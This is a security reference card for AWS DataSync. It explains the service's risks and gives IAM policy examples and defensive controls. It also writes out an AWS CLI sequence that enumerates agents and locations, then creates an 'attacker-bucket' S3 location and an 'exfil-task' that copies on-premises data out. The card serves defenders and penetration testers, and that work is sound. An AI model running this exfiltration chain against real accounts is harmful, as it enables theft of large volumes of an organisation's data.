AWS DataSync moves large amounts of data between on-premises storage and AWS services. Security risks include task hijacking, destination redirection, and massive data exfiltration.
Agent deployed on-premises connects to NFS, SMB, HDFS, or object storage. Communicates with AWS over TLS. Agent credentials provide access to configure locations and tasks.
Attack note: Compromised agent credentials allow enumeration of on-premises storage infrastructure and file paths
Tasks define source/destination locations and transfer options. Can move terabytes of data with filtering, scheduling, and verification. Runs in VPC or over internet.
Attack note: Modifying task destination enables massive data exfiltration to attacker-controlled storage
DataSync is designed for bulk data movement - compromised tasks can exfiltrate terabytes of data at high speed. Source locations expose on-premises infrastructure. Agent compromise enables bidirectional data theft.
aws datasync list-agentsaws datasync describe-agent \
--agent-arn AGENT_ARNaws datasync list-locationsaws datasync describe-location-nfs \
--location-arn LOCATION_ARNaws datasync list-tasksaws datasync create-location-s3 \
--s3-bucket-arn arn:aws:s3:::attacker-bucket \
--s3-config BucketAccessRoleArn=ROLE_ARNaws datasync create-task \
--source-location-arn SOURCE_LOCATION \
--destination-location-arn ATTACKER_LOCATION \
--name exfil-taskaws datasync start-task-execution \
--task-arn TASK_ARNaws datasync describe-location-nfs \
--location-arn LOCATION_ARN \
--query 'LocationUri'aws datasync update-task \
--task-arn TASK_ARN \
--options 'TransferMode=ALL,OverwriteMode=ALWAYS'aws datasync list-task-executions \
--task-arn TASK_ARN{
"Effect": "Allow",
"Action": "datasync:*",
"Resource": "*"
}Full DataSync access - can create tasks to exfil any location
{
"Effect": "Allow",
"Action": [
"datasync:ListTasks",
"datasync:ListTaskExecutions",
"datasync:DescribeTask"
],
"Resource": "*"
}Only monitor existing tasks - no creation or modification
{
"Effect": "Allow",
"Action": [
"datasync:CreateTask",
"datasync:CreateLocation*",
"datasync:StartTaskExecution"
],
"Resource": "*"
}Can create tasks with arbitrary destinations - exfiltration risk
{
"Effect": "Allow",
"Action": "datasync:StartTaskExecution",
"Resource": "arn:aws:datasync:*:*:task/task-approved-*",
"Condition": {
"StringEquals": {"aws:PrincipalTag/team": "backup"}
}
}Only start pre-approved tasks by backup team
Use SCP/IAM to prevent CreateTask, CreateLocation* except by approved roles.
"Effect": "Deny", "Action": "datasync:Create*"Only allow tasks with pre-approved destination locations.
Alert on task executions with unusual data volumes or durations.
Use VPC endpoint to keep DataSync traffic within AWS network.
Prevent creation of locations pointing to external accounts.
Alert on CreateTask, CreateLocation*, and StartTaskExecution events.
AWS DataSync Security Card • Toc Consulting
Always obtain proper authorization before testing